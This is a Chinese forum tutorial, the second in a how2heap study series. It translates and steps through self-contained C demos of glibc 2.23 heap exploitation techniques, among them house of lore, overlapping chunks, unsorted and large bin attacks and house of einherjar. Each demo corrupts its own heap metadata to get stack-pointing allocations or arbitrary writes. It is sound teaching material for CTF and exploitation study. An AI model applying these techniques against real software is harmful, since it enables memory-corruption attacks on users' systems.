首页
社区
课程
招聘
[原创]how2heap调试学习(二)
2020-12-6 12:16 8340

[原创]how2heap调试学习(二)

2020-12-6 12:16
8340

字数限制,分开发了

代码:https://github.com/yichen115/how2heap_zh

代码翻译自 how2heap:https://github.com/shellphish/how2heap

本文语雀文档地址:https://www.yuque.com/hxfqg9/bin/ape5up

每个例子开头都标着测试环境


how2heap调试学习(一)


house_of_lore

ubuntu16.04 glibc 2.23

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "定义了两个数组");
  fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 开始的位置

  fprintf(stderr, "在栈上伪造一块 fake chunk\n");
  fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

  fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
  fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr, "\np4 在栈上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}

intptr_t *victim = malloc(100);

首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个假的 chunk

image.png

为了绕过检测,设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1

image.png

接下来先 malloc 一个防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中

image.png

接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中

参考:

http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/

https://bbs.pediy.com/thread-257742.htm


再把 victim 的 bk 指针改为 stack_buffer_1

image.png

再次去 malloc 会 malloc 到 victim chunk,再一次 malloc 的话就 malloc 到了 0x00007fffffffdcc0

image.png

overlapping_chunks

ubuntu16.04 glibc 2.23

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

    intptr_t *p1,*p2,*p3,*p4;
    fprintf(stderr, "这是一个简单的堆块重叠问题,首先申请 3 个 chunk\n");

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);
    fprintf(stderr, "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n", p1, p2, p3);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    fprintf(stderr, "free 掉 p2\n");
    free(p2);
    fprintf(stderr, "p2 被放到 unsorted bin 中\n");

    fprintf(stderr, "现在假设有一个堆溢出漏洞,可以覆盖 p2\n");
    fprintf(stderr, "为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块\n");

    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;
    fprintf(stderr, "我们将 p2 的大小设置为 %d, 这样的话我们就能用 %d 大小的空间\n",evil_chunk_size, evil_region_size);

    *(p2-1) = evil_chunk_size; // 覆盖 p2 的 size

    fprintf(stderr, "\n现在让我们分配另一个块,其大小等于块p2注入大小的数据大小\n");
    fprintf(stderr, "malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)\n");
    p4 = malloc(evil_region_size);

    fprintf(stderr, "\np4 分配在 %p 到 %p 这一区域\n", (char *)p4, (char *)p4+evil_region_size);
    fprintf(stderr, "p3 从 %p 到 %p\n", (char *)p3, (char *)p3+0x80-8);
    fprintf(stderr, "p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3\n");

    fprintf(stderr, "这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容\n\n");

    fprintf(stderr, "接下来验证一下,现在 p3 与 p4:\n");
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

    fprintf(stderr, "\n如果我们使用 memset(p4, '4', %d), 将会:\n", evil_region_size);
    memset(p4, '4', evil_region_size);
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

    fprintf(stderr, "\n那么之后再 memset(p3, '3', 80), 将会:\n");
    memset(p3, '3', 80);
    fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
    fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
}

一开始申请 3 个 chunk

image.png

free 掉 p2,这时候 p2 被放到了 unsorted bin 中

image.png

然后把 p2 的 size 改成 0x180,这时候就把 p3 给包含进去了

image.png

然后再去申请一块 0x180 大小的 p4,就能够编辑 p4 就可以修改 p3 的内容,编辑 p3 也可以修改 p4 的内容

image.png

overlapping_chunks_2

ubuntu16.04 glibc 2.23

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){
  
  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  int prev_in_use = 0x1;

  fprintf(stderr, "\n一开始分配 5 个 chunk");
  p1 = malloc(1000);
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);

  fprintf(stderr, "\nchunk p1 从 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
  fprintf(stderr, "\nchunk p2 从 %p 到 %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
  fprintf(stderr, "\nchunk p3 从 %p 到 %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
  fprintf(stderr, "\nchunk p4 从 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
  fprintf(stderr, "\nchunk p5 从 %p 到 %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));

  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);
  
  fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
  free(p4);

  fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
  fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
  fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
  free(p2);
  
  fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
  p6 = malloc(2000);
  real_size_p6 = malloc_usable_size(p6);

  fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6,  (unsigned char *)p6+real_size_p6);
  fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);

  fprintf(stderr, "\n往 p6 中写入\"F\"\n");
  memset(p6,'F',1500);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);
}

首先申请 5 个 chunk,分别是 p1,p2,p3,p4,p5

image.png

然后 free 掉 p4,此时 p2 的 size 是 0x3f0

image.png

更改掉 p2 的 size 为 0x7e0,直接把 p3 给包含进去

image.png

再次去 malloc 0x7e0 大小的 chunk p6 会把包含 p3 的 p2 给申请到,这样再去编辑 p6 的时候也可以编辑到 p3

image.png

mmap_overlapping_chunks

ubuntu16.04 glibc 2.23

#include <stdlib.h>
#include <stdio.h>

int main(){

    int* ptr1 = malloc(0x10); 

    printf("这种技术依然是 overlapping 但是针对的是比较大的 (通过 mmap 申请的)\n");
    printf("分配大的 chunk 是比较特殊的,因为他们分配在单独的内存中,而不是普通的堆中\n");
    printf("分配三个大小为 0x100000 的 chunk \n\n");

    long long* top_ptr = malloc(0x100000);
    printf("第一个 mmap 块位于 Libc 上方: %p\n",top_ptr);
    long long* mmap_chunk_2 = malloc(0x100000);
    printf("第二个 mmap 块位于 Libc 下方: %p\n", mmap_chunk_2);
    long long* mmap_chunk_3 = malloc(0x100000);
    printf("第三个 mmap 块低于第二个 mmap 块: %p\n", mmap_chunk_3);

    printf("\n当前系统内存布局\n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
    
    printf("第一个 mmap 的 prev_size: 0x%llx\n", mmap_chunk_3[-2]);
    printf("第三个 mmap 的 size: 0x%llx\n\n", mmap_chunk_3[-1]);

    printf("假设有一个漏洞可以更改第三个 mmap 的大小,让他与第二个 mmap 块重叠\n");  
    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    printf("现在改掉的第三个 mmap 块的大小是: 0x%llx\n", mmap_chunk_3[-1]);
    printf("free 掉第三个 mmap 块,\n\n");

    free(mmap_chunk_3); 

    printf("再分配一个很大的 mmap chunk\n");
    long long* overlapping_chunk = malloc(0x300000);
    printf("新申请的 Overlapped chunk 在: %p\n", overlapping_chunk);
    printf("Overlapped chunk 的大小是: 0x%llx\n", overlapping_chunk[-1]);

    int distance = mmap_chunk_2 - overlapping_chunk;
    printf("新的堆块与第二个 mmap 块之间的距离: 0x%x\n", distance);
    printf("写入之前 mmap chunk2 的 index0 写的是: %llx\n", mmap_chunk_2[0]);
    
    printf("编辑 overlapping chunk 的值\n");
    overlapping_chunk[distance] = 0x1122334455667788;

    printf("写之后第二个 chunk 的值: 0x%llx\n", mmap_chunk_2[0]);
    printf("Overlapped chunk 的值: 0x%llx\n\n", overlapping_chunk[distance]);
    printf("新块已与先前的块重叠\n");
}

当我们调用一个相当大的块的时候会用 mmap 来代替 malloc 获取一块单独的内存来替代普通的堆,释放的时候会用 munmap


一开始申请了 3 个 0x100000 大小的

此时的布局大概是这样的

running program
heap
....
third mmap chunk 0x7ffff780b010
second mmap chunk 0x7ffff790c010
LibC
....
ld
first mmap chunk 0x7ffff7ed7010

然后把第三个的 size 改成 0x202002,free 掉第三个,然后再去 malloc(0x300000)


新的在 0x7ffff770c010

第三个 0x7ffff780b010 大小 0x202002

第二个 0x7ffff790c010


现在在第三个上是 0x202000 大小的,接下来去申请 0x300000 大小的,因为前面已经有了 0x201000,所以多申请0xFF000 就够了 (0x7ffff780b010-0x7ffff770c010)

image.png

image.png

这样通过对新创建的堆块进行写操作就可以覆盖掉原本第二个那里

image.png

unsorted_bin_into_stack

ubuntu16.04 glibc 2.23

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main() {
  intptr_t stack_buffer[4] = {0};

  fprintf(stderr, "先申请 victim chunk\n");
  intptr_t* victim = malloc(0x100);
  fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
  intptr_t* p1 = malloc(0x100);

  fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
  free(victim);

  fprintf(stderr, "在栈上伪造一个 chunk");
  fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
  fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
  victim[-1] = 32;
  victim[1] = (intptr_t)stack_buffer;

  fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
  char *p2 = malloc(0x100);
  fprintf(stderr, "malloc(0x100): %p\n", p2);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p2+40), &sc, 8);
}

一开始申请了两个 chunk

image.png

free 掉第一个 chunk

image.png

然后修改掉它的 bk 指针指向在栈上伪造的 fake chunk,同时把这个的 size 给改掉,防止他 malloc 的时候申请到了这个而不是 fake chunk

image.png

接下来再去 malloc 的时候就可以申请到在栈上伪造的那个 chunk 了

image.png

unsorted_bin_attack

ubuntu16.04 glibc 2.23

unsorted bin attack 是控制 unsorted bin 的 bk 指针,达到任意地址改为一个较大的数的目的

#include <stdio.h>
#include <stdlib.h>

int main(){

    fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
    fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(0x410);
    fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
    fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
    fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

    malloc(0x410);
    fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

gcc -g unsorted_bin_attack.c

分别在 10、13、16、19 下断点

然后运行,一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并

image.png

当 free之后,这个 chunk 的 fd、bk 都指向了 unsorted bin 的位置,因为 unsorted bin 是双向链表嘛

image.png

继续,通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方

image.png

然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list *///bck = chunk->bkunsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);

把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址

image.png

image.png

同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址

image.png

large_bin_attack

ubuntu16.04 glibc 2.23

#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
 
    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

gcc -g 1.c

首先申请了几个 chunk

image.png

接下来释放掉前两个

image.png

接下来去申请一个 0x90 大小的,他会把前面那个 0x320 大小的切割

image.png

同时因为我们去申请了,他就会给 unsortedbin 中的 free chunk 进行整理划分,把那两块大的放到 largebin

接下来去修改 p2,之前:

image.png

之后:

image.png

我们伪造的分别是 p2 的 size、bk 以及 bk_nextsize,接下来申请一个 chunk,这样的话 p3 就会被整理到 largebin


而 largebin 是按照从大到小排序的,所以需要进行排序,排序的操作大概是:

//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

把 2 带入 4 得到:fwd->bk_nextsize->fd_nextsize=victim

同时下面有:fwd->bk=victim

也就是说之前我们伪造的 p2 的 bk 跟 bk_nextsize 指向的地址被改为了 victim

即 (unsigned long)(&stack_var1 - 2) 与 (unsigned long)(&stack_var2 - 4) 被改为了 victim

image.png

house_of_einherjar

ubuntu16.04 glibc 2.23

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\n申请 0x38 作为 chunk a\n");
    a = (uint8_t*) malloc(0x38);
    printf("chunk a 在: %p\n", a);
   
    int real_a_size = malloc_usable_size(a);
    printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n", real_a_size);

    // create a fake chunk
    printf("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
    fake_chunk[2] = (size_t) fake_chunk; // fd
    fake_chunk[3] = (size_t) fake_chunk; // bk
    fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
    printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fd: %#lx\n", fake_chunk[2]);
    printf("bk: %#lx\n", fake_chunk[3]);
    printf("fd_nextsize: %#lx\n", fake_chunk[4]);
    printf("bk_nextsize: %#lx\n", fake_chunk[5]);

    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    printf("\n再去申请 0xf8 chunk b.\n");
    printf("chunk b 在: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    printf("\nb 的 size: %#lx\n", *b_size_ptr);
    printf("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n");
    printf("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
    a[real_a_size] = 0;
    printf("b 现在的 size: %#lx\n", *b_size_ptr);

    printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    printf("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
    fake_chunk[1] = fake_size;

    printf("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n");
    free(b);
    printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    printf("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n");
    d = malloc(0x200);
    printf("malloc(0x200) 在 %p\n", d);
}

首先申请了一个 chunk a,然后在栈上伪造了一个 chunk,为了绕过 unlink 的检查,先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址

image.png

然后申请一个 chunk b,因为前面申请的 chunk 的大小是 0x38,所以 chunk a 共用了 chunk b 的 chunk 头的 0x8,也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size,这里为了让他能找到我们的 fake chunk,所以用 chunk b 的地址减去 fake chunk 的地址,0x603040-0x7fffffffdca0=0xffff8000006053a0


同时假设存在一个 off by null 的漏洞,可以更改掉 chunk b 的 prev_inuse 为 0

image.png

然后我们释放掉 b,这时候 b 因为与 top chunk 挨着,会跟 top chunk 合并,然后因为 prev_inuse 是 0,所以会根据 prev_size 去找前面的 free chunk,然而 prev_size 被我们改了,他去找的时候找到的是 fake chunk,然后两个合并,新的 top chunk 起点就成了 fake chunk,再次分配的时候就会分配到 fake chunk 那里了



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回